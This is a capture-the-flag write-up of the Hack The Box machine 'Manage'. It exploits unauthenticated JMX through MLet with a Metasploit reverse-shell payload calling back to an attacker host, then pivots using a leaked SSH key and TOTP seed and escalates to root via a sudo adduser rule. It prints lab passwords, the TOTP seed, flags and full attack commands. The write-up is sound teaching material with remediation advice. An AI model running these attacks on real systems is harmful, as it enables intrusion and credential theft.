Manage
Executive summary — Manage chains a JMX misconfiguration (the JVM's remote management console, exposed by Tomcat with no authentication or TLS) with two credential-handling mistakes and a
sudorule that the author tried to "lock down" with a regular expression, but which ignores a legacy Ubuntu behavior: theadmingroup still has privileges insudoerseven though it does not exist, so creating it is enough.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[2222] JMX/RMI (jmxrmi) — authenticate=false, ssl=false
│ the RMI stub advertises 127.0.1.1:34793 -> local socat redirector
▼
[JMX] Users MBean (Tomcat UserDatabase) — cleartext passwords
│ remote MLet (java_jmx_server) -> malicious MBean
▼
[RCE] tomcat (user.txt)
│ /home/useradmin/backups/backup.tar.gz world-readable:
│ private SSH key + TOTP seed
▼
[SSH] useradmin (key + TOTP code generated with oathtool)
│ sudo NOPASSWD adduser ^[a-zA-Z0-9]+$
│ adduser admin -> admin group with %admin ALL=(ALL) ALL
▼
[ROOT] su admin (su's PAM stack has no 2FA) -> sudo
1. Reconnaissance
A full TCP port sweep first, then version detection and default scripts on the open ports:
sudo nmap -p- --min-rate 2000 -T4 -Pn <TARGET_IP> -oN nmap-allports.txt
PORT STATE SERVICE
22/tcp open ssh
2222/tcp open EtherNetIP-1
8080/tcp open http-proxy
34793/tcp open unknown
35355/tcp open altova-lm
sudo nmap -sCV -p22,2222,8080,34793,35355 -Pn <TARGET_IP> -oN nmap-services.txt
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
2222/tcp open java-rmi Java RMI
| rmi-dumpregistry:
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
| @127.0.1.1:34793
8080/tcp open http Apache Tomcat 10.1.19
34793/tcp open java-rmi Java RMI
35355/tcp open tcpwrapped
Service Info: OS: Linux
Reading the recon. Port 2222 is an RMI registry publishing the
jmxrmiobject, i.e. the JVM's management console (JMX). Thermi-dumpregistryscript also reveals that the real object (RMIServerImpl_Stub) advertises itself at127.0.1.1:34793: an internal hostname that will be the first obstacle of the attack.
Tomcat 10.1.19 listens on 8080, but its Manager is restricted by IP:
curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:8080/manager/html
403
The 403 comes from a RemoteAddrValve ("only accessible from a browser running on the same machine as Tomcat"): the Manager only accepts connections from localhost.
2. Unauthenticated JMX
Tomcat's startup command line, seen later from the inside, confirms the flaw:
-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.port=2222
-Dcom.sun.management.jmxremote.ssl=false
-Dcom.sun.management.jmxremote.authenticate=false
JMX with
authenticate=falselets anyone list, read and write MBeans and, throughjavax.management.loading.MLet, load remote Java classes: direct code execution.
2.1 The 127.0.1.1 hostname and the socat redirector
When connecting with jmxterm, the registry on 2222 returns a stub pointing at 127.0.1.1:34793, the hostname the server believes it has. The RMI client then tries to connect to that IP on our own machine and fails:
java.rmi.ConnectException: Connection refused to host: 127.0.1.1;
127.0.1.1 belongs to the loopback range (127.0.0.0/8), so we can listen on that IP locally and forward the traffic to the target. Since port 34793 is also open externally, a socat is enough:
socat TCP-LISTEN:34793,bind=127.0.1.1,fork,reuseaddr TCP:<TARGET_IP>:34793 &
ss -tlnp | grep 34793
LISTEN 0 5 127.0.1.1:34793 ...
Why it works. RMI carries remote references that include host and port. If the server does not set
-Djava.rmi.server.hostnameto its public IP, it advertises its local hostname. The attacker reproduces that address on their own loopback and "bridges" it to the real target.
2.2 Leaking Tomcat credentials through the Users MBean
With the redirector running, jmxterm enumerates the MBean domains:
echo "domains" | java -jar jmxterm.jar -l service:jmx:rmi:///jndi/rmi://<TARGET_IP>:2222/jmxrmi -n
Catalina
JMImplementation
Users
com.sun.management
java.lang
...
The Users domain is Tomcat's UserDatabase MBean, fed from conf/tomcat-users.xml, and it exposes the password attribute in cleartext:
cat > jmxcmds.txt <<'EOF'
get -b Users:database=UserDatabase,type=User,username="admin" password
get -b Users:database=UserDatabase,type=User,username="manager" password roles
EOF
java -jar jmxterm.jar -l service:jmx:rmi:///jndi/rmi://<TARGET_IP>:2222/jmxrmi -n < jmxcmds.txt
#mbean = Users:...username="admin":
password = onyRPCkaG4iX72BrRtKgbszd;
#mbean = Users:...username="manager":
password = fhErvo2r9wuTEYiYgt;
roles = [ Users:type=Role,rolename="manage-gui",... ];
| User | Password | Role |
|---|---|---|
| admin | onyRPCkaG4iX72BrRtKgbszd | role1 |
| manager | fhErvo2r9wuTEYiYgt | manage-gui |
These credentials do not work for the Manager (IP-filtered, 403) or for SSH (see the dead ends section). They help to understand the environment, but the real path goes through the MLet.
2.3 RCE through MLet (Metasploit java_jmx_server)
The exploit/multi/misc/java_jmx_server module automates the process: it connects to the registry, handshakes with the MBean server, creates an MLet and makes the target download from our HTTP server a JAR containing a malicious MBean, which it then instantiates. Thanks to the socat from section 2.1, the handshake with 127.0.1.1:34793 resolves against the target.
use exploit/multi/misc/java_jmx_server
set RHOSTS <TARGET_IP> ; set RPORT 2222
set SRVHOST <ATTACKER_IP> ; set SRVPORT 8899
set LHOST <ATTACKER_IP> ; set LPORT 4444
set payload java/meterpreter/reverse_tcp
exploit -j
[+] <TARGET_IP>:2222 - JMXRMI endpoint on 127.0.1.1:34793
[+] <TARGET_IP>:2222 - Handshake with JMX MBean server on 127.0.1.1:34793
[*] <TARGET_IP>:2222 - Replied to request for mlet
[*] <TARGET_IP>:2222 - Replied to request for payload JAR
[*] Meterpreter session 1 opened
Why it works.
MLetis a standard remote class loader in JMX. With unauthenticated JMX we can register one and ask it to fetch MBeans from a URL we control: the target's Java process downloads and instantiates the class and runs code with the JVM's privileges, i.e. thetomcatuser.
Note: the Meterpreter session dies when
msfconsoleis closed. To work reliably you can run the.rcfile withsleepandsessions -c "<cmd>", which runs one-off commands and captures their output.
3. Post-exploitation as tomcat: user.txt
id
grep sh$ /etc/passwd
cat /opt/tomcat/user.txt
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat) HOME=/opt/tomcat
root:x:0:0:root:/root:/bin/bash
karl:x:1000:1000:karl green:/home/karl:/bin/bash
useradmin:x:1002:1002:,,,:/home/useradmin:/bin/bash
a86d44c7243b65a9171cf7da3e0bc279
user.txt: a86d44c7243b65a9171cf7da3e0bc279 (it lives in tomcat's own home).
Enumerating the home directories, useradmin stands out:
ls -la /home/useradmin
# drwxrwxr-x backups <-- 775: accessible to 'others'
# -r-------- .google_authenticator <-- TOTP 2FA
# drwxrwxr-x .ssh <-- 775: can be entered
ls -la /home/useradmin/backups
# -rw-rw-r-- 1 useradmin useradmin 3088 backup.tar.gz <-- world-readable
4. Pivot to useradmin: backup with SSH key and TOTP
backup.tar.gz is readable by anyone. It is exfiltrated as base64 through the session and extracted locally:
# sessions -c "base64 -w0 /home/useradmin/backups/backup.tar.gz" -> decode on Kali
tar xzf backup.tar.gz -C backup_extract
find backup_extract -type f
backup_extract/.ssh/id_ed25519 <-- useradmin's PRIVATE key
backup_extract/.ssh/id_ed25519.pub
backup_extract/.ssh/authorized_keys
backup_extract/.google_authenticator <-- TOTP secret + scratch codes
# .google_authenticator
CLSSSMHYGLENX5HAIFBQ6L35UM <-- base32 secret (TOTP seed)
" RATE_LIMIT 3 30 ...
" WINDOW_SIZE 3
" DISALLOW_REUSE ...
" TOTP_AUTH
99852083 ... (emergency scratch codes)
SSH for useradmin requires two factors at once (AuthenticationMethods publickey,keyboard-interactive): the private key and a 6-digit TOTP code validated by pam_google_authenticator. With the leaked seed, the code is generated with oathtool:
cp backup_extract/.ssh/id_ed25519 useradmin_key && chmod 600 useradmin_key
oathtool --totp -b CLSSSMHYGLENX5HAIFBQ6L35UM # e.g. 612028
Because the "Verification code:" prompt is interactive (keyboard-interactive), it is automated with expect:
# run.exp - usage: expect run.exp "<remote command>"
set timeout 30
set cmd [lindex $argv 0]
set code [exec oathtool --totp -b CLSSSMHYGLENX5HAIFBQ6L35UM]
spawn ssh -i useradmin_key -o StrictHostKeyChecking=no \
-o PreferredAuthentications=publickey,keyboard-interactive useradmin@<TARGET_IP> $cmd
expect {
-re "code:" { send "$code\r"; exp_continue }
eof { }
}
uid=1002(useradmin) gid=1002(useradmin) groups=1002(useradmin)
manage
Why it works. The backup included the "something you have" factor (the private key) and also the seed of the "something you generate" factor (the TOTP secret). With the seed, the second factor is no longer secret: anyone can reproduce the codes.
DISALLOW_REUSEandRATE_LIMITonly force you to wait for the next 30-second window between attempts.
c0=$(oathtool --totp -b CLSSSMHYGLENX5HAIFBQ6L35UM)
for i in $(seq 1 35); do c=$(oathtool --totp -b CLSSSMHYGLENX5HAIFBQ6L35UM); [ "$c" != "$c0" ] && break; sleep 1; done
This loop waits for the TOTP window to change so it does not collide with DISALLOW_REUSE.
5. Privilege escalation: sudo adduser and the admin group
5.1 The sudo rule
sudo -l
User useradmin may run the following commands on manage:
(ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$
The author's intent is to allow creating users while limiting the argument to a single alphanumeric token. The regex ^[a-zA-Z0-9]+$ effectively blocks:
- Passing options (
--uid 0,--ingroup sudo,--shell …): they start with-and do not match. - Passing two arguments (
adduser user group): the space breaks the regex. - Newline injection (
$'x\nmalicious'): tested and denied; sudo anchors the pattern correctly and does not match line by line.
adduser is the standard Debian Perl script (3.118ubuntu5, standard md5, unmodified). In /etc/adduser.conf, ADD_EXTRA_GROUPS and EXTRA_GROUPS are commented out, so new users get no extra groups. Creating a user named after an existing group fails:
adduser: The group `sudo' already exists.
With USERGROUPS=yes, adduser tries to create a same-name group and collides with the existing one. The author was counting on that.
5.2 The oversight: Ubuntu's legacy admin group
/etc/sudoers keeps a line inherited from old Ubuntu releases:
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
But the admin group does not exist on the system (getent group admin returns nothing). Therefore adduser admin:
- Does not collide with any existing group, so it creates the
admingroup (GID 1004) and theadminuser inside it. - That user is automatically covered by
%admin ALL=(ALL) ALL, i.e. it can sudo to root.
sudo /usr/sbin/adduser admin # password Adm1nPwn123 at the prompts
Adding new group `admin' (1004) ...
Adding new user `admin' (1004) with group `admin' ...
adduser's interactive prompts (password, full name, phone…) were automated with the same expect pattern as the TOTP SSH login: the code is answered at the code: prompt, the password at New password: and Retype new password:, Enter on the personal-information fields and Y at Is the information correct.
5.3 Bypassing 2FA on the new user and jumping to root
The new admin user has no ~/.google_authenticator, and PAM is configured like this:
# /etc/pam.d/sshd
auth required pam_google_authenticator.so nullok
nullok means "if the user has no TOTP configured, skip the second factor". Even so, sshd requires publickey as the first method for everyone and admin has no key installed (its home is 0750, not writable by us). The solution is to not use SSH: from the useradmin session, run su admin (su's PAM stack does not include the TOTP module, it only asks for a password) and, as admin, sudo:
# inside useradmin's SSH session:
su admin # password: Adm1nPwn123
id
sudo -S id # admin's password
sudo cat /root/root.txt
uid=1004(admin) gid=1004(admin) groups=1004(admin)
uid=0(root) gid=0(root) groups=0(root)
b3645b7e6db6d5276ad33f0c75b8dc34
root.txt: b3645b7e6db6d5276ad33f0c75b8dc34
Why it works. The sudo rule validated the shape of the argument (alphanumeric) but not its effect:
adminis alphanumeric and matches the regex, but creating that user materializes a group that a pre-existingsudoersrule elevates to root. It is a transitive trust flaw:adduser, run as root, can fabricate membership in a privileged group.
Dead ends
| Attempt | Result | Reason |
|---|---|---|
admin/manager credentials on the Tomcat Manager | 403 | RemoteAddrValve filters to localhost |
Reusing admin/manager/tomcat/root over SSH | Denied | Passwords do not match Linux users; DenyUsers tomcat |
Injecting an SSH key into /opt/tomcat/.ssh and logging in as tomcat | Denied | DenyUsers tomcat in sshd_config |
adduser sudo (reusing the sudo group) | "group already exists" error | USERGROUPS=yes collides with the existing group |
Newline injection into adduser via sudo | Denied | sudo anchors the regex and does not match per line |
"Writable" systemd units (sudo.service, …) | False positive | They are symlinks to /dev/null (masked services) |
karl's lxd group | Unusable | LXD is not installed (/var/lib/lxd does not exist) |
sudo -S grep over sudoers as useradmin | Hangs asking for a password | useradmin can only run adduser |
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Access | JMX on 2222 (authenticate=false, ssl=false) | CWE-306 — remote JMX without authentication or TLS | Full access to MBeans |
| RCE | javax.management.loading.MLet | CWE-470 / CWE-494 — remote class loading without integrity checks | Code execution as tomcat |
| Credentials | Users:UserDatabase MBean | CWE-522 — Tomcat passwords in cleartext | admin and manager credentials |
| Lateral movement | /home/useradmin/backups/backup.tar.gz | CWE-552 / CWE-732 — world-readable backup with SSH key and TOTP seed | Access as useradmin (key + second factor) |
| Lateral movement | .google_authenticator stored next to the key | CWE-321 / CWE-256 — second-factor seed stored with the first factor | 2FA stops being an independent factor |
| PrivEsc | sudo adduser ^[a-zA-Z0-9]+$ rule | CWE-269 — validates the argument's shape, not its effect | Creation of the admin group and user |
| PrivEsc | %admin ALL=(ALL) ALL with a nonexistent group | CWE-16 / CWE-1188 — insecure legacy configuration | Root via sudo |
| PrivEsc | pam_google_authenticator.so nullok | CWE-305 — 2FA is optional in practice | su admin with no second factor |
Remediation
- JMX: do not expose it on the network. If it is essential, enable
jmxremote.authenticate=trueandssl=truewithjmxremote.password/jmxremote.accessfiles, and set-Djava.rmi.server.hostnameto the right IP. Ideally bind to127.0.0.1and reach it through an SSH tunnel. - Tomcat: do not keep cleartext passwords in
tomcat-users.xml; use a hashingCredentialHandlerand disable theUserDatabaseMBean if unused. - Backups:
600/700permissions and correct ownership, nevero+r; do not include private keys or TOTP seeds in accessible copies. - 2FA: the TOTP seed must stay secret; if it leaks it must be rotated. Avoid
nullok, which makes the second factor optional. - sudo: remove the
adduserrule or pin it with a name allowlist and a fixed unprivileged--ingroup; validate the effect, not the shape. - sudoers: remove the legacy
%admin ALL=(ALL) ALLline if it is unused. - SSH:
DenyUsers tomcatis correct; apply the same criterion to the other service accounts.
Lessons learned
- A management service such as JMX must never be exposed without authentication: it is equivalent to a remote shell. And RMI stubs that advertise an internal hostname can be "bridged" with a redirector on the attacker's loopback.
- A backup is one more secret: if it contains the key and the second factor's seed, 2FA protects nothing. Backup permissions matter as much as the original's.
- A
sudorule with a "strict" regex is not a barrier if the allowed command has side effects on the privilege configuration. Audit what the command can fabricate, not just which arguments it accepts. - Legacy
sudoerslines for groups that do not exist are a time bomb: anyone able to create that group inherits root. nullokin PAM makes 2FA optional; and other authentication paths (su,sudo) do not have to go through the same module.